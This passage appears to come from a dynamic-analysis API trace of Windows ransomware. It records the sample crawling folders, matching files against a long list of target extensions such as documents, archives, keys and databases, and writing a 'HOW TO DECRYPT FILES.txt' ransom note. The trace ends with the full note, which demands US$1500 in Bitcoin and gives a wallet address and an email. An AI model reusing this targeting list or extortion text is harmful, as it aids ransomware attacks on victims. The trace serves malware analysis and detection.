(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.png") returned 0 [0107.678] lstrlenA (lpString="*.png") returned 5 [0107.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.php") returned 0 [0107.678] lstrlenA (lpString="*.php") returned 5 [0107.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.cs") returned 0 [0107.678] lstrlenA (lpString="*.cs") returned 4 [0107.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.cpp") returned 0 [0107.678] lstrlenA (lpString="*.cpp") returned 5 [0107.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.rar") returned 0 [0107.678] lstrlenA (lpString="*.rar") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.zip") returned 0 [0107.679] lstrlenA (lpString="*.zip") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.html") returned 0 [0107.679] lstrlenA (lpString="*.html") returned 6 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.htm") returned 0 [0107.679] lstrlenA (lpString="*.htm") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.xlsx") returned 0 [0107.679] lstrlenA (lpString="*.xlsx") returned 6 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.xls") returned 0 [0107.679] lstrlenA (lpString="*.xls") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mp4") returned 0 [0107.679] lstrlenA (lpString="*.mp4") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.ppt") returned 0 [0107.679] lstrlenA (lpString="*.ppt") returned 5 [0107.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.pptx") returned 0 [0107.680] lstrlenA (lpString="*.pptx") returned 6 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.doc") returned 0 [0107.680] lstrlenA (lpString="*.doc") returned 5 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.dot") returned 0 [0107.680] lstrlenA (lpString="*.dot") returned 5 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.docx") returned 0 [0107.680] lstrlenA (lpString="*.docx") returned 6 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.7z") returned 0 [0107.680] lstrlenA (lpString="*.7z") returned 4 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.tar") returned 0 [0107.680] lstrlenA (lpString="*.tar") returned 5 [0107.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.bz2") returned 0 [0107.681] lstrlenA (lpString="*.bz2") returned 5 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.gz") returned 0 [0107.681] lstrlenA (lpString="*.gz") returned 4 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mkv") returned 0 [0107.681] lstrlenA (lpString="*.mkv") returned 5 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.eml") returned 0 [0107.681] lstrlenA (lpString="*.eml") returned 5 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.msg") returned 0 [0107.681] lstrlenA (lpString="*.msg") returned 5 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.edb") returned 0 [0107.681] lstrlenA (lpString="*.edb") returned 5 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.accdb") returned 0 [0107.681] lstrlenA (lpString="*.accdb") returned 7 [0107.681] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.odb") returned 0 [0107.682] lstrlenA (lpString="*.odb") returned 5 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.java") returned 0 [0107.682] lstrlenA (lpString="*.java") returned 6 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.asm") returned 0 [0107.682] lstrlenA (lpString="*.asm") returned 5 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.pfx") returned 0 [0107.682] lstrlenA (lpString="*.pfx") returned 5 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.pem") returned 0 [0107.682] lstrlenA (lpString="*.pem") returned 5 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.p12") returned 0 [0107.682] lstrlenA (lpString="*.p12") returned 5 [0107.682] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.gpg") returned 0 [0107.682] lstrlenA (lpString="*.gpg") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.vsd") returned 0 [0107.683] lstrlenA (lpString="*.vsd") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.odg") returned 0 [0107.683] lstrlenA (lpString="*.odg") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.raw") returned 0 [0107.683] lstrlenA (lpString="*.raw") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.nef") returned 0 [0107.683] lstrlenA (lpString="*.nef") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.svg") returned 0 [0107.683] lstrlenA (lpString="*.svg") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.psd") returned 0 [0107.683] lstrlenA (lpString="*.psd") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.vmx") returned 0 [0107.683] lstrlenA (lpString="*.vmx") returned 5 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.vmdk") returned 0 [0107.683] lstrlenA (lpString="*.vmdk") returned 6 [0107.683] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.vdi") returned 0 [0107.683] lstrlenA (lpString="*.vdi") returned 5 [0107.684] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.lay6") returned 0 [0107.693] lstrlenA (lpString="*.lay6") returned 6 [0107.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mpeg") returned 0 [0107.693] lstrlenA (lpString="*.mpeg") returned 6 [0107.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.djvu") returned 0 [0107.693] lstrlenA (lpString="*.djvu") returned 6 [0107.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.tiff") returned 0 [0107.693] lstrlenA (lpString="*.tiff") returned 6 [0107.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.backup") returned 0 [0107.694] lstrlenA (lpString="*.backup") returned 8 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.pdf") returned 0 [0107.694] lstrlenA (lpString="*.pdf") returned 5 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.cert") returned 0 [0107.694] lstrlenA (lpString="*.cert") returned 6 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.docm") returned 0 [0107.694] lstrlenA (lpString="*.docm") returned 6 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.xlsm") returned 0 [0107.694] lstrlenA (lpString="*.xlsm") returned 6 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.dwg") returned 0 [0107.694] lstrlenA (lpString="*.dwg") returned 5 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.nd") returned 0 [0107.694] lstrlenA (lpString="*.nd") returned 4 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.tlg") returned 0 [0107.694] lstrlenA (lpString="*.tlg") returned 5 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.lgb") returned 0 [0107.694] lstrlenA (lpString="*.lgb") returned 5 [0107.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mov") returned 0 [0107.694] lstrlenA (lpString="*.mov") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.xdw") returned 0 [0107.695] lstrlenA (lpString="*.xdw") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.ods") returned 0 [0107.695] lstrlenA (lpString="*.ods") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.wav") returned 0 [0107.695] lstrlenA (lpString="*.wav") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mp3") returned 0 [0107.695] lstrlenA (lpString="*.mp3") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.aiff") returned 0 [0107.695] lstrlenA (lpString="*.aiff") returned 6 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.flac") returned 0 [0107.695] lstrlenA (lpString="*.flac") returned 6 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.m4a") returned 0 [0107.695] lstrlenA (lpString="*.m4a") returned 5 [0107.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.csv") returned 0 [0107.695] lstrlenA (lpString="*.csv") returned 5 [0107.695] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a57110, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a57110, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb1900930, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x86200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcplayerinterop.ni.dll", cAlternateFileName="MCPLAY~1.DLL")) returned 0 [0107.695] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.696] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f7a93626b76fe66f217c19426cc5b02a", cAlternateFileName="F7A936~1")) returned 0 [0107.696] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.696] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6d6dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x6c0070, cFileName="mcstore", cAlternateFileName="")) returned 1 [0107.696] lstrcmpA (lpString1=".", lpString2="mcstore") returned -1 [0107.696] lstrcmpA (lpString1="..", lpString2="mcstore") returned -1 [0107.696] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.696] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcstore" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore" [0107.696] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore") returned 54 [0107.696] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6d6dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.697] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6d6dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.697] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.697] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6fcf20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="67c2902f53638a9056174f6130a8bde7", cAlternateFileName="67C290~1")) returned 1 [0107.697] lstrcmpA (lpString1=".", lpString2="67c2902f53638a9056174f6130a8bde7") returned -1 [0107.697] lstrcmpA (lpString1="..", lpString2="67c2902f53638a9056174f6130a8bde7") returned -1 [0107.697] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\*.*") returned="*.*" [0107.697] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\", lpString2="67c2902f53638a9056174f6130a8bde7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7" [0107.697] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7") returned 87 [0107.697] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6fcf20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.697] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.698] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6fcf20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.698] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.698] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.698] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a7d26b, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a7d26b, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x98919650, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x2ac000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcstore.ni.dll", cAlternateFileName="")) returned 1 [0107.698] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcstore.ni.dll") returned -1 [0107.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcstore.ni.dll") returned -1 [0107.698] lstrcmpiA (lpString1="", lpString2="mcstore.ni.dll") returned -1 [0107.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\*.*") returned="*.*" [0107.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\" [0107.698] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\") returned="" [0107.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\HOW TO DECRYPT FILES.txt" [0107.698] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\how to decrypt files.txt")) returned 0xffffffff [0107.698] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.700] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") 